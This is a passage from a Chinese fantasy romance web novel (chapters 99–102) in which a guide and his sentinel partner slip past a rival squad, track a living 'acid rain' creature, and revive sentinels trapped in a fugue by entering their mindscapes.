然而,那边闻璱轻叹一声:“我知道。可惜已经迟了。” “怎么回事?” “他的精神体已经发现我了,好在高空距离远,他和精神体之间的联系被我暂时切断了。”闻璱无奈道,“抱歉,你们得动手。” “不怪你。这里离内核地带还远,他们驱赶蔓生蜥蜴,不应该出现在这里。”弓铮皎飞快地说,“需要我做什么?把他打晕?” “那倒不至于。”闻璱道,“他的精神体曾经被我接管过,再给我些时间,我就能骗过它,但你们最好能做点什么,转移他的注意力。” 显然闻璱还是主张尽可能不要和正在任务中的小队动手,虽然和对方之间积怨已久。 不被发现的办法不止一个,当然还是优先选择不要影响到正常任务的选项。 可弓铮皎听闻璱的意思,似乎是还给彭枭留了情面,撇了撇嘴:“那还不如我把他打晕,也算转移注意力了。” “……不要代入你的私人感情,把他们当素不相识的陌生人就好。”闻璱制止。 弓铮皎心里当然还是不服,彭枭怎么有资格和陌生人相提并论?但闻璱既然开口了,他就不会不执行。 他转头征求逄靥星和舒颖的意见,舒颖从硕大的背包里拿出一个易拉罐,朝弓铮皎指示的彭枭小队方向扔了过去。 弓铮皎看着那罐子脱了手才问:“那是什么?” “我自制的催泪瓦斯,从流泪蛙身上提取的,对哨兵和有实体的污染生物都有特攻。”舒颖介绍,“流泪蛙在这周边有群落,也不容易被怀疑。” 弓铮皎和逄靥星一起鼓掌:“漂亮。” 闻璱也在通信器里道了一声“谢谢”。 “风向朝我们这边,我们最好也换个地方呆着。”弓铮皎又道。 他对气流运动很敏感,刚才之所以能敏锐地察觉到靠近的小队是彭枭,就是因为风送来了情报。 “可以走了。”闻璱说,“催泪瓦斯效果斐然,彭枭直接把精神体收回去了,绕开他们继续行动就好。” 于是地面三人又一起迈开悄无声息的脚步,疾速而又无声地从彭枭小队事故现场绕行。 只不过,那边哭得呛得不可谓不惨,其中又以彭枭的反应最大。 似乎是因为异变突然发生时,其他人的精神体都在身旁,也因此响应速度极快地作出了各种各样的反应,大多只是被呛得咳了两声就屏住呼吸。 唯独精神体在高空被闻璱迷惑的彭枭一时恍惚,对着烟气就是猛吸了几大口。 哭声犹在耳边,弓铮皎会心一笑。 回过头去之间逄靥星笑得更是开怀,就连通信器里闻璱的声音都带了一丝若有若无的笑意。 绕开烦人的苍蝇之后,又是走走停停,直到下午日落时分,几人算是顺利抵达了内核地带周边。 闻璱也从天上落了下来,飞了一整天,又在持续做侦查,他的精神和身体都高度疲惫,坐在垫子上一边吃能量棒一边补充水分。 不止闻璱,大家都赶了一整天路,说精神焕发一定是假的,今晚大概就要在这里扎营休息。 弓铮皎搭帐篷,逄靥星煮饭,舒颖则研究着污染监测仪上载来的数据。 她的监测仪比狼群小队在使用的那种要小巧许多,功能更多,还可以随身携带。 戴在手腕上像一个超大护腕式手表,看起来是污染生物研究院内部使用、还未发行推广的新产品。 “记录显示过去一周内,这里似乎都没有过酸雨的记录。”舒颖皱眉,“这很奇怪。” 闻璱眨了眨眼,咽下口中的能量棒,确认道:“你的意思是它没有移动,还是没有‘产生’?” 前者是异常,后者则是更加异常。 ‘酸雨’本应该随时移动,即便将它仍然按照一种气像现象来理解,内核地带也很少会有全区无‘酸雨’的情况发生。 更不用说,这趟来,闻璱和舒颖就是为了证明‘酸雨’是一种生物,就更认为它必然持续存在。 “我不知道。”舒颖凝重道,她很少说这么没把握的话。 “没关系,反正我们本来也是打算去追‘酸雨’的,这里没有记录,那就多跑几个地方好了,总会有的。”闻璱安慰道。 这话不假,也确实让舒颖的神色放松些许。 然而不幸的是——次日清晨他们正式踏上追‘酸雨’的路途,一整天几乎跑遍了几个常识中的酸雨高发地带,一无所获。 不仅没能经历一场酸雨,甚至舒颖的监测仪显示,这些地区过去一周都没有发生过酸雨。 “是不是监测仪出问题了?”弓铮皎问。 “……是不是酸雨真的不是一种生物——”逄靥星小心翼翼道。 “不可能。”闻璱打断逄靥星的话。 一整日毫无头绪也让闻璱不禁微微蹙眉,有些苦恼,但他更清楚自己现在是如何地破釜沉舟,就更不能动摇自己人的心情。 他转头看向也有些踌躇沉思的舒颖:“别忘了你的实验数据,气象活动不可能和生物有相同的精神力流动机制。” 舒颖点了点头:“是的。我也怀疑是不是我的监测仪出了问题,幸好我还带了另一套通用监测仪,晚些将它布设好。” 她顿了顿,叹了一声:“只是这样的话,行进速度会慢下来很多。” 老式监测仪的限制就是这样,布设和拆卸都需要花费不少功夫,非扎营休息的情况,通常不会布设一整套。 但现在也没有别的办法,即便为此放慢速度…… 闻璱突然一怔。 他又看了看舒颖的监测仪显示屏数据,有些迟疑道:“或许‘酸雨’也是同样的情况,它被什么东西、什么人、或是其它生物绊住了?” 闻言,弓铮皎、逄靥星和舒颖都愣住了。 这实在是个很新颖,但又很基础、很理所应当的想法。 因为过往‘酸雨’总是被当做类气像现象,而污染区的地形也不像外界的地形一般,能够对这种特殊的精神力气象起到作用,所以‘酸雨’会没有规律地随意活动,几乎是大家公认的常识。 这种毫无实质的特殊气象如果突然消失,似乎人也没有丝毫办法去理解。 但如果它真的是一种污染生物,那被其它生物影响而停滞在某地,并不是很罕见的情况。 闻璱脑中飞快地掠过无数信息,筛选着可能导致‘酸雨’停驻的那个“变量”。 他突然抬起头,恰好望进弓铮皎的眼中。 他张了张嘴,有些不确定又求证般地问:“奶油鳄?” 过往从未有过被确实发现且记录下来的‘酸雨’停驻现象,所以这个变量必然也是很罕见且神秘的生物。 闻璱思索再三,便想到那只半月前被发现后立刻登上通缉榜的奶油鳄。 罕见、神秘,而且非常危险,即便过去可能发生过类似的事件,也没有人注意到,因为人们的注意力大多放在猎杀奶油鳄上。 而谈到奶油鳄,这里有经验、有发言权的似乎只有单杀过三只的弓铮皎一个人。 弓铮皎专注地望着闻璱,没有点头,却道:“我猎杀那三只奶油鳄的时候,都是在‘酸雨’中,但那时我以为,这只是因为奶油鳄出现的局域就是一区最深处未探索的酸雨高发地。” 这几乎算是实锤了。 闻璱唇角一弯:“看来这两件事本来就是顺路的?” 第100章 我相信你。 猎杀奶油鳄的委托没有时间限制,但是超过两周没能传来好消息的话,公会就会挂上增援任务了。 如果确实如闻璱猜想,金峙一定不想让任务走到那一步,这会影响履历。 但任务在帮助下完成总好过彻底失败,最好的选择当然是闻璱几人——偷渡,没有也不能有任务蹭分需求,能在事后彻底隐身。 闻璱和舒颖商量了一番,决定今晚开始分成两队行动。 作战经验更丰富且算是“熟人”的闻璱和弓铮皎率先深入一区,找金峙小队汇合;而舒颖和逄靥星按照原计画,继续布设老式监测仪查找酸雨。 晚饭之后,闻璱和弓铮皎就启程了。 他们轻装上阵,没有携带任何能够监测酸雨动向的仪器,干脆彻底放弃了查找酸雨,而是直奔弓铮皎记忆中的奶油鳄栖息地而去。 那是个还没有在终端地图中被填上信息的“未探索”地区,地形、污染生物分布一概未知,只能凭藉着经验来。 即便闻璱经验丰富,在进入未探索地区后,也放弃了继续飞行赶路,天空中同样可能有未知的危险。 好在弓铮皎一直跟随着他的方向。 闻璱缓缓落下,本以为会在弓铮皎面前不远处正常且安全地落地,然而阿咬突然出现,飞跃而起,来接住闻璱。 该说实在不巧,闻璱并没有降落时叉开双腿的习惯,阿咬的脑袋也不是一把锋利的剑,能劈开闻璱的双腿。 闻璱在半空中被阿咬叼住含在嘴里,惊得下意识用翅膀去抽阿咬的眼睛。 阿咬“呜嗷”地哼了一声,仰头把闻璱吐出来一丢——闻璱在半空中又转了半圈,然后拦腰被担在阿咬背上。 弓铮皎晚了几步才赶过来,迎上脸朝下的闻璱抬眼,含着一丝质问的目光。 因为闻璱本可以好好落地,用不着接,且看弓铮皎神色自若,也不像是上次在酒庄那样,被突变吓得一时理智全无。 “……”对此,弓铮皎确实百口莫辩。 他沉默了两秒,诚恳地说出自己的真情实感:“你腰真细。” 闻璱:“……” 无论如何,闻璱绝对不想在此时此刻此地继续这个话题。 他翻身爬起来,没有从阿咬身上下来,反而换了个舒服的姿势坐好,又对弓铮皎伸出手:“上来,阿咬赶路最快。” 弓铮皎看着眼前的白皙的手十分心动! 但弓铮皎没有立刻握上去,纠结着扭捏作态道:“我……坐你前面还是后面?” 坐前面比较安全,但坐后面比较符合弓铮皎的幻想,四舍五入,就是孤哨寡向共乘一骑,闻璱将会小鸟依人地卧在他怀中…… 弓铮皎只是想想,就美得忍不住嘴角上挑了。 闻璱把他的表情变化看在眼中,有点无语地问:“你想怎样?” 弓铮皎虚伪道:“我都可以的,主要是不想挤到你。” “嗯,好。”闻璱动了动手指。 终于,事很多小心思很细腻的弓大少爷伸手,虔诚地握上闻璱的手。 下一秒天旋地转——弓铮皎极力抑制住了身体本能触发的反制动作,任由闻璱把自己翻来倒去。 等到反应过来之后,弓铮皎发现自己眼前是闻璱的脚尖。 他被闻璱放倒趴在阿咬背上、闻璱身前,脸朝下,就像闻璱刚才那样。 闻璱甚至还贴心地帮他把背包固定了一下,防止一会阿咬跑起来会颠得背包晃动,磕着弓铮皎的后脑勺。 共乘一骑,有的。 小鸟依人,无了。 浪漫感是完全不存在的,弓铮皎只觉得,这样看起来自己更像是被闻璱斩于马下又捞走换赏的俘虏。 这比坐小电驴后座还逊……但是毕竟主人是闻璱,弓铮皎的心里蠢蠢欲动了几下,又莫名地自我和解了。 闻璱完全不关注弓铮皎那比山路还崎岖的脑内幻想,他像对猫猫狗狗一样拍了拍弓铮皎的后脑勺,吩咐道:“那我们走。” 可惜阿咬不是一辆车,不能自动驾驶;但闻璱只需要开口吩咐,阿咬会比智驾AI还要智能。 跑起来之后,闻璱微微弯下腰,伏在弓铮皎的背包上。 没了限制,又急于开屏,阿咬彻底迈开步子,速度快得真像一道闪电,闻璱不想被吹成白毛狮王,就只能俯下身子。 他把弓铮皎的背包当个支下巴的软桌子,倒是意外的舒适。 软桌子下面传来闷闷的声音:“等看到他们的时候,我们能不能先换个姿势?” 这样也太丢人了。 闻璱一挑眉,故意问:“干脆换成你神兵天降,我依偎在你的怀里?” “可以吗?”弓铮皎抬起头。 闻璱把他的脑袋按下去:“当然不可以。” 什么怀中抱鹅杀的出场……闻璱毫不心动并冷漠拒绝。 但闻璱也不算是完全无情。 天还没亮,这夜还没过去,他们才搜索到第二个弓铮皎记忆里的奶油鳄栖息地,就发现了有不止一个人在其中的气息。 奇怪的是,并没有酸雨。 弓铮皎鼻尖一动:“是他,惊豹的气息……但是奶油鳄并不在这里。” “可能是交战之后把奶油鳄逼退了。”闻璱分析,“但这里并不安全,即便是休整小队,也应该走远些。” “除非……” 除非他们被困住了,走不了。 阿咬加快速度,闻璱也拉了一把弓铮皎,让弓铮皎好好坐起来。 等到阿咬 终于抵达那片谷地边缘的高地,缓缓踱步时,闻璱双眸变为红色,很快发现了金峙小队的身影。 以金峙为首,一共是七个人,都躺在谷底一片水淋淋的地上。 弓铮皎立刻道:“生命体征平稳,似乎只是睡着了。周围目前没有检测到任何危险生命体的波动。” 阿咬这才迈着小心翼翼的猫步上前。 到了近前,闻璱翻身下去,和弓铮皎立刻依次检查几人的状态。 确实如弓铮皎所说,似乎一切正常,睡得很香——但未免有些太香了,对外界的一切都失去了反应,哨兵的五感不可能麻木至此。 比起睡着,倒更像是……神游。 闻璱不能贸然做决断,只好从他们衣领里摸出狗牌,一一确认身份。 七个人包括金峙在哪,都是高级别的哨兵,没有一个向导。 这种暴力菜刀队在公会并不罕见,但在猎杀奶油鳄这种U-3以上的任务中,很不寻常。 闻璱以为金峙至少会想办法组一个野队的向导才对,不论级别如何、作战能力如何,至少能加快哨兵的恢复速度,稳定哨兵状态。 弓铮皎也与闻璱想到了一处去,但他在周围转了几圈,很快确认道:“应该不是神游,至少不是失控狂暴之后的神游,这周围有和奶油鳄的战斗痕迹,但是没有哨兵之间的。” 闻璱点了点头:“他们的状态也不像是有过内战。” 如果有哨兵失控发狂最终神游,那同队的哨兵必然会和他交战,就会留下试图控制失控哨兵的痕迹,哨兵们的身体上也无法避免沾染彼此的精神体气息。 但这一切都没有。 彷佛只是在和奶油鳄交战、甚至逼退奶油鳄之后,几人在这里暂时调整状态,准备撤退或是追击。 然而在下一步发生之前——他们纷纷陷入神游般的沉睡。 闻璱沉思片刻,缓缓道:“这和你的情况其实有点像。” “像吗?”弓铮皎摸了摸下巴,“我发病时,其实还是挺暴力的。” “不是发病的状态,而是……我该怎么说呢。”闻璱道,“那枚注射剂,柳部长给的,如果注射给了你,你就会假性神游,大概就是这样悄无声息地睡过去。” 也就是说,很可能是‘酸雨’那种生物突然袭击,导致战后精神状态本就不佳的几人立刻中招。 闻言,弓铮皎点了点头:“有道理,那我们……” 他没声了,也不再续上原本想要说的话,嘴角下垂,眉头也深深地沉下去。 那我们该怎么办? 弓铮皎本想这样问的,但话未出口,他似乎就有了答案。 既然是精神图景出了问题,当然要到精神图景里去解决,而闻璱刚好是一个很擅长处理精神体和精神图景问题的向导。 这得多危险,谁也不知道。 弓铮皎还记得,以前自己尚且没有假性神游,理论上对那种物质的摄入浓度应该比眼前几人更低。而闻璱几次进入精神图景,就险象环生。 他的潜意识里无论如何都想让闻璱远离这些危险。 只可惜有些话并不是他不说,闻璱就想不到。 闻璱不仅能想到,还比他想得更远。 “我得进入他们的精神图景,虽然理论上假性神游状态的精神图景会拒绝一切,但只要我能接管就好。”闻璱说。 弓铮皎没有接话。 “但这很危险,”闻璱轻叹了一声,“我知道这很危险,也不想不明不白地死在这里,所以,你得和我一起去。” “啊?”弓铮皎终于绷不住了。 他看着闻璱,满眼不可置信:“我怎么去?我是哨兵。” “我知道。”闻璱竟然轻松地笑了一下,“我有办法,你相不相信我?” “我……”弓铮皎不知道该说什么。 “成功的话,我也让你进我的精神图景。” “信了!” 话音落下,弓铮皎又有些隐忍地撇开脑袋,双臂环胸缠得死紧。 说到底他还是不希望闻璱靠近这些危险,哪怕闻璱说他也能一起,弓铮皎心里其实为此更加动摇。 那种物质已经让他险些失控过,这一次,他不想让闻璱接触,就只能自己冲到更前面。 弓铮皎不怕会对自己造成什么创伤,可他确确实实地担心着,万一自己失控,会不会伤到闻璱? ……不只是担心,甚至是恐慌,让他觉得胸闷喘不上来气了。 闻璱静静地凝望着他:“我相信你。” “这不是相不相信的问题,我……”弓铮皎急切地想解释什么。 闻璱却说:“这就是信任的问题。” “我现在相信你,你确实能用意志力打败病魔,并且还能为了我做到很多次。” 闻璱起身,缓缓上前,解开弓证据用手腕打上的结。 “我相信你。”他又重复了一遍,“你会保护好我,而且,你确实能做到。” 100-110 第101章 丑小鸭为什么叫丑小鸭? 商量过后,闻璱把小黑留在外面,在拯救哨兵金峙的精神图景行动期间巡逻侦查。 闻璱检查了一番几个人的状态,挑选了一个精神力级别相对较低,精神体是花豹的哨兵下手。 原因很简单,深入假性神游状态哨兵的精神图景很有挑战性,闻璱需要尽可能快地创建信任关系。 而金峙的小队里,只有金峙本人和花豹哨兵算是闻璱的熟人,花豹哨兵曾经更是闻璱工作室的常客,性格很温和。 弓铮皎也记得花豹哨兵,在还没有真正和闻璱认识之前,他就是偷听了花豹哨兵接受安抚的墙角,才产生了某些拿不准的误会。 见闻璱熟练地跪在花豹哨兵身侧,打算把花豹哨兵的脑袋往腿上搬,弓铮皎眼疾手快地抢过那颗脑袋,双手担住。 闻璱:? “还有六个人要做呢,如果每一个都这样,你腿会麻的。”弓铮皎理直气壮。 这当然完全是谎言,弓铮皎知道现在公事公办不是吃醋的时候,但是——这个花豹哨兵明显就是想给闻璱当备胎很久了! 弓铮皎对这些小九九看得清清楚楚,也能感觉到闻璱一直对此表示回避和婉拒。 虽然现在事急从权闻璱顾不上那些,但弓铮皎难免想到,如果一切顺利,花豹哨兵从假性神游中苏醒过来,映入眼帘的就是救命恩人兼梦中情人闻璱美丽的脸庞…… 那这个花豹哨兵这辈子肯定彻底栽了,变心什么的就彻底不可能了,以后永远都会做闻璱的狗了,说不定比荆牡还过分! 弓铮皎转正成功,心态立刻转变,当即决定要踩烂所有其他狗的饭盆。 闻璱只是短暂地思考了一下,弓铮皎这样连捧七个脑袋也不会手麻,并且这样让弓铮皎和花豹哨兵有肢体接触,也方便让弓铮皎被自己带进精神图景里,就立刻接受了这个提议。 这是个冒险的尝试。 闻璱很轻地深呼吸着按住花豹哨兵的太阳xue,缓缓释放出向导素。 这一次,没有了手套的阻隔,向导素从皮肤毛孔钻进花豹哨兵的脑袋里,夹着丝丝缕缕的精神力,花豹哨兵本能般地抽搐了一下。 弓铮皎的手臂也微微一颤,不受控制地闷哼了一声。 闻璱抬眼望去,只见弓铮皎脸色飘红,眼神飘忽。 看来弓铮皎并不是被花豹哨兵的动作所影响,而是不受控制地被自己的向导素调动了某些功能。 ……闻璱暗道失策。 他险些忘了,虽然还没有彻底结合,但他们已经进行过几次确实意义上的标记,弓铮皎本就对他的向导素敏感,现在只会反应更大。 但事已至此,闻璱只能用精神力将弓铮皎的状态引导向其他欲望。 姓玉肯定不行,食欲也最好不要,瞌睡欲也不大合适接下来要做的事,激发更偏向野兽的杀戮欲也不太安全。 闻璱还没想出个好办法来,就见弓铮皎咬牙切齿着捏住手腕。 弓铮皎的眼下还是泛着绯色,但表情已经逐渐趋于镇定。 他动了动手指,闻璱垂眸望去,指缝之间露出漆黑的背景,偶尔有一根线条飞快地掠过。 是那枚手表。 弓铮皎在不断地调表。 手工表专门多做了几道工序,让秒针也能被自行调整,这主要是出于闻璱个人的强迫症,制作时闻璱就想过,弓铮皎大概率不会多此一举地去手动调整秒针时间,只需要对表时稍微注意一下就好。 倒没想到今天能在这样的场合派上用场。 秒针转了一圈又一圈,速度越来越缓慢,弓铮皎的呼吸声也随之平稳下来。 “没关系,我可以的。”弓铮皎甚至还耍帅地扯了扯嘴角。 笑得很装。 闻璱也抿唇微微一笑,真心夸了一声:“真乖。” 他再次加大向导素释放的浓度,让自己的精神力得以依靠向导素而钻进花豹哨兵的精神图景里,直到自己的意识部分转移进其中。 然后他伸手,覆在弓铮皎的手腕上,轻轻地捏了一下。 那一瞬间,弓铮皎感觉自己的魂突然被吸了出来。 并非任何瑟琴或夸张的描述,他确实有种被勾魂了的感觉,手腕上的酥麻一闪而过,转眼间,弓铮皎的意识彷佛被夹一缕温柔的风里,钻进阳光下的青草地里。 等弓铮皎回过神,几乎也就是下个瞬间,他发现自己眼前确实是阳光灿烂的一片青草地。 而他变成了……幼年体阿咬的模样,一只体型比原本小了很多,匕首牙也变成了小刀片长度的刃齿虎。 “这里是他的精神图景,我们只能通过拟态状态才能出现在这里。”弓铮皎头顶传来声音。 那是闻璱的声音,弓铮皎抬起头,却什么都没看到,反而感觉头顶被什么东西拍了一下。 看来闻璱大概“盘”在他头顶?真可惜眼珠子不能三百六十度旋转。 闻璱指示道:“走走,看看能不能找到图景边界。” 于是,弓铮皎迈开步伐,试探着走了两步找感觉,然后狂奔起来。 跑了两圈,没能找到任何线索,闻璱也有些沉思:“这么风平浪静,像是已经被‘格式化’了……但这是芯片的效果,不应该是‘酸雨’那种生物的效果……” “可能是藏起来了。”弓铮皎说,“就像我,你说我也把那团类水母的纸巾藏在图景内核,高级别特种人说不定都有这种自卫机制。” 闻璱笑了一下:“嗯,有可能,但你说的不对。” “嗯?” “那不是高级别特种人才有的自卫机制。”闻璱温和道,“是想活下去的人都会有的求生欲望。” 这个话题对弓铮皎来说就有点……不好讨论了。 弓铮皎立刻心虚起来,但又不知道心虚些什么——这岂不是说明他的求生欲望也很强烈?那不就意味着,他以前对闻璱说什么“命都给你”的胡话真的只是胡话? 难道闻璱从那时就看穿了?但是天地可见,弓铮皎觉得自己也确实是发自肺腑的真心话…… 好在闻璱也并不打算在花豹哨兵的图景里和弓铮皎探讨人生,很快问道:“你觉得他的图景内核会在哪里?” 弓铮皎:? 他有些迷茫:“我怎么知道?” “你们的追求好像差不多,我以为你会更容易代入他。”闻璱理所当然道。 花豹哨兵的精神图景意外地和弓铮皎曾经的想像不谋而合:阳光、青草地、无边无际的奔跑。 闻璱因而判断,同样想做金毛的大狗猫之间或许能互相理解。 只可惜弓铮皎现在丝毫没有撒欢奔跑的欲望,他只是挠心挠肝地想看自己头顶现在的那只黑天鹅幼崽真容。 而闻璱的话落入他耳中,他也不免心道:确实,毕竟爱上闻璱就像呼吸一样简单,拒做闻璱的狗才是天理难容。 弓铮皎突然想到:“你不是接管他的精神图景了吗?我以为,就像进入开发者模式了一样。” “……人的精神世界可不像代码那么简单。”闻璱无奈地摇了摇头,“我也接管过你,可我还是读不懂你那些邪典一样的幻想,你还把我幻想成一条鱼,我猜,连你自己都不知道为什么会这样吧。” 弓铮皎:“……” 心虚是比呼吸还要简单的事,弓铮皎不知道该不该说:他真的知道。 因为他总是萌生一种把闻璱含进嘴里、吞进胃里的冲动,但闻璱又并不是一口任人啃咬的香香软软小蛋糕,反而会游来游去,碰来碰去,自然是一条小鱼了。 闻璱又道:“先往那边走走吧。” 话音才落,弓铮皎感觉脑袋一轻。 他连忙抬起头,只见一只好圆润、好毛绒、像个巨大蒲公英的小胖鸟,浑身灰白渐变,飞向不远的前方。 飞得很慢,彷佛真的是团蒲公英,移动速度全看风速如何。 继蝴蝶效应的新解之后,弓铮皎心里猛然爆发一个迷思——丑小鸭为什么叫丑小鸭? 这丑吗?这丑吗?这丑吗? 这完全是香香软软的小蛋糕——弓铮皎立刻否定了自己刚才认为闻璱不是的想法——他将谨代表自己宣布,他真的要一口吃掉。 闻璱飞得很慢,等到他抵达刚才指引的那个位置旁边,弓铮皎已经在那里等待已久。 他有点颤颤巍巍地降落,似乎不太适应自己现在这个看起来不那么轻盈的身形,被弓铮皎期待地用爪子扑住。 闻璱:“……” 倒是没弄疼,弓铮皎很小心,只是有点没面子。 他没有表现出来,被松开之后,立刻又回到了弓铮皎头顶窝着,乌黑的喙戳了两下弓铮皎头顶毛,似乎是在做窝。 “我刚刚好像远远看到这里有一张野餐布,但是近了就没了。”弓铮皎绕着某个局域走了两圈。 “我也看到了。” “怎么办?” 闻璱果断道:“刨开。” 强行接管神游哨兵的精神图景,还要大搞破坏查找图景内核,这行为怎么听怎么不人道。 但弓铮皎没有任何犹豫地动爪了。 他相信闻璱清楚自己在做什么。 一爪下去无事发生,接着弓铮皎不断刨挖着,转眼间一旁堆起小山丘一样的土坑。 几乎挖到了三四米的深度,闻璱突然道:“小心。” 弓铮皎也感觉到了。 他放慢速度,也稍微收了锋利的指甲,防止划伤。 渐渐地,一个半透明的“囊泡”出现在土壤里。 囊泡里透出点点豹纹,仔细一看,一只奄奄一息的豹纹小猫被裹在里面团成一团,像是出生之后又被包裹到人造子宫的羊膜里,逆向生长。 “……”闻璱落在囊膜上,用脚蹼轻轻地踩了两下,发现那囊膜还很有些厚度。 他有些惊讶,也有后怕。 几乎看不到囊泡鼓动、呼吸,只有微弱的震颤从脚蹼传来,像是濒临停止的心跳声。 “划开它。”闻璱说。 弓铮皎便亮出一只锋利的指甲,小心翼翼地割开一道口子。 粘液流淌而出,一只爪子艰难地伸出来,握住了弓铮皎的指甲。 霎时间——他们同时被赶出了精神图景。 污染区里,花豹哨兵猛地弹射起身,跪在地上,捂着自己的喉咙艰难喘息。 第102章 呵呵,傻瓜。 花豹哨兵撕心裂肺地又是喘又是咳了好一会,才顾得上看看身边。 映入眼帘的是躺了一地的队友,虎视眈眈的某个哨兵,以及…… 闻璱在他身旁蹲下,温声道:“还好吗?” 花豹哨兵痴痴地看着闻璱,嘴唇翕动,一个字也说不出来。 另一道低沉的声音从花豹哨兵另一侧幽幽响起:“Hello啊,哥们,你没事吧?” 花豹哨兵猛回头,只见两只蓝紫色的眼珠鬼火一样飘在金发哨兵毫无表情的脸上,莫名地有种危机感。 直到闻璱伸手,从花豹哨兵背后轻轻拍了一下弓铮皎的肩膀,那双眼睛才熄了火。 被近在咫尺的虎视眈眈惊得气息一顿,花豹哨兵紧接着又咳了两声,发出还有些沙哑的声音:“闻璱,你怎么会在这里?” 闻璱便道:“恰巧也有任务途径。” 他隐去了关键信息,随口应付的谎言编得说不上高明,然而花豹哨兵此时尚有些恍惚,当然抓不住其中的漏洞。 “原来是这样。”花豹哨兵若有所思地点了点头,又看向弓铮皎,“所以这是你新小队里的哨兵?” 语气里是再显然不过的“你真幸运”。 闻璱唇角一弯,轻轻摇了摇头:“不,他是我的队长,弓铮皎。” “队长?!居然不是你……”花豹哨兵又恍惚了。 但下一刻,花豹哨兵猛地捕捉到那个名字,更惊讶道:“弓铮皎?!你是弓铮皎?!也就是……蒸饺omo?!” 闻璱:“……” 弓铮皎:“……” 一打照面就被大声喊出论坛网名的社死感虽迟但到。 弓铮皎把尴尬咽进胃里,尽可能装作平静坦然地点了点头,“友好”地伸出手:“你好。” 花豹哨兵则眼神微妙,反覆打量着弓铮皎的脸和手,好半天才握上去。 在闻璱的视野盲区里,花豹哨兵盯着弓铮皎,有些挑衅地呲了一下牙,用唇语问:“那个意因闻璱的梦男帖子,真的是你发的?什么大猫骑士的……” 于是,握手的动作微微一顿,弓铮皎一挑眉,微微颔首的同时,手上多用了两分力。 这两分力虽然只有弓铮皎的两分,对花豹哨兵来说就实在不轻,花豹哨兵眉头一拧,试图和弓铮皎做对抗。 却败得毫无悬念。 松开手时,花豹哨兵的那只手连同臂膀都微微发颤了,但强撑着不露出任何异常,生怕在闻璱面前丢了面子。 弓铮皎心里嘲笑:呵呵,傻瓜。 一番你来我往的暗中试探,闻璱自然不可能一无所知,只是闻璱毕竟错过了那无声的询问和回答。 在闻璱眼里,弓铮皎的态度没有任何问题——至少在闻璱轻轻拍过那一下之后,弓铮皎就表现得很友好。 如此一来,反而显得花豹哨兵有些不识好歹了。 闻璱不动声色地站起身,稍微走开了半步,问道:“好些了吗?我也有些事想问问你。” 一站一坐当即拉开了距离,闻璱高高在上,花豹哨兵稍抬着下巴仰望他,思索片刻,还是决定站起来回答问题,却被弓铮皎打了个岔。 弓铮皎很刻意地用手撑了一下花豹哨兵的肩膀,看似只是轻轻一摸,实则好悬没把花豹哨兵给直接按进地里。 花豹哨兵也不遑多让,被肩头巨力压得险些趴下之前,他咬牙切齿地用尽全身力气做对抗,硬生生抗住了这一巴掌。 只不过,花豹哨兵也维持不住表象了,一脸用力过度的狰狞表情,青筋都快要爆出来了。 闻璱稍微敛了笑意,不轻不重地唤了一声:“弓铮皎。” 他看得清楚,不论如何,这一下绝对是弓铮皎先动的手,或许算是对花豹哨兵刚才的还击? 一声令下,弓铮皎松开手,立刻站到了闻璱身旁。 他又是那样微微塌着腰垂着脑袋,装得一派乖巧可怜的样子,但谁都知道刚刚的暗中交锋他不可能没讨到好,便只能是任闻璱教训的表现。 闻璱并不打算因此斥责自己人,遇事委屈自家孩子不是他的风格。 只不过,现在确实不是耍脾气争口气的时候,就算要把这口气找回来,也得等先把发生了什么问清楚才行。 闻璱看着弓铮皎,缓缓抬手,亲昵地抚了抚弓铮皎衣领口并不存在的褶皱。 犹豫片刻,闻璱的手又移到弓铮皎耳畔,很轻地捏了一下现在空空如也的耳洞。 “我们先谈正事,好吗?” 弓铮皎尾巴都快翘到天上了,连忙说:“当然了。” 他主动让开几步,站到了离两人有些距离的几米开外,无所事事地走来走去,视线却飘回去,对着花豹哨兵再明显不过地翻了个白眼。 附带唇语:“那可不是意因。” 可惜花豹哨兵此时已经被刚才那一幕伤得一蹶不振,连弓铮皎的回击都无力接收了。 支开了弓铮皎,闻璱问道:“你还记得昏迷之前究竟发生了什么吗?” 花豹哨兵失魂落魄,但再次强撑着回答:“当然。你应该知道,我们的任务是U-1猎杀奶油鳄,金队按照已知信息制定了翔实的作战计画,原本我们都已经快要完成目标了,但是真倒霉,突然遇到了毫无征兆的超强酸雨,就这样被奶油鳄逃了。” 闻璱微微蹙眉:“没能立刻撤离吗?” “对。”花豹哨兵点了点头,“说起来也很诡异,那场酸雨真的……真的就像是有‘雨’下下来一样,我们都感觉眼前变得雾蒙蒙,连队友的身影都变得模糊。奶油鳄逃跑之后,我们只是打算简单急救一下粘贴白噪音贴片就尽快撤离的,但是有个队友昏了过去,怎么都叫不醒,后来,我也没了意识。再醒来时,就是刚才了。” 这一切和闻璱的猜测倒是很接近。 花豹哨兵心有余悸道:“我也不知道发生了什么,但是就像是三天三夜没呼吸了一样,肺里痛得要炸了,脑袋也一阵阵眩晕,眼前发黑……” 闻璱安慰了一句:“别担心,现在不会了。” 花豹哨兵抬了抬手,有点想抱住闻璱的腿大哭一场。 但他想起刚刚发生的一切,又悲从中来,只能抹了一把自己的脸。 闻璱给花豹哨兵一些调理情绪的时间,同时想了个说法,省略关于催化剂研究的一切内容,也并不说花豹哨兵刚才陷入了假性神游的状态——哨兵对“神游”这两个字的敏感程度很高。 他只说这可能是超强酸雨带来的精神损伤,接下来还要再像刚才安抚花豹哨兵那样,挨个给每一个昏迷过去的队友做“安抚”,这期间花豹哨兵得担任斥候的职责。 临危受任好歹让花豹哨兵强打起精神来,闻璱也能把弓铮皎叫回来,继续拯救其他哨兵。 然而花豹哨兵的这些队友们,就没有那么简单了。 闻璱和花豹哨兵认识时间不短,同时花豹哨兵曾是闻璱的老客户,这才让闻璱接管之后的精神图景一派安然,只是在查找图景内核的过程中花费了些功夫。 其它几个哨兵和闻璱并不相熟悉,生理和精神都高度排斥外来精神力的侵入,全然不似花豹哨兵的精神图景那般安然愉快…… 闻璱费了好些精力才和弓铮皎进入这些精神图景,五花八门的图景中更是各有各的危险,哪怕闻璱已经强行接管,仍然无法避免被时不时地“驱逐”一下。 冰川徒步、洞xue探险已属于简单模式,各种幻想层出不穷更是叫人深感棘手。 譬如,其中一个哨兵的图景彷佛是某种风格压抑的动作游戏世界,看起来只是平平无奇的高山,符合秃鹫精神体的生活环境。 实则石头缝里随时随地都会冒出各种各样面貌丑陋的怪物,扛着奇幻风的武器扑杀上来,战斗方式也各有各的吓人。 幸好闻璱带了个深度游戏玩家一起进入,深谙各种陷阱的套路和出怪模式,这才还算顺利地找到了图景内核——一个地上的细长光点。 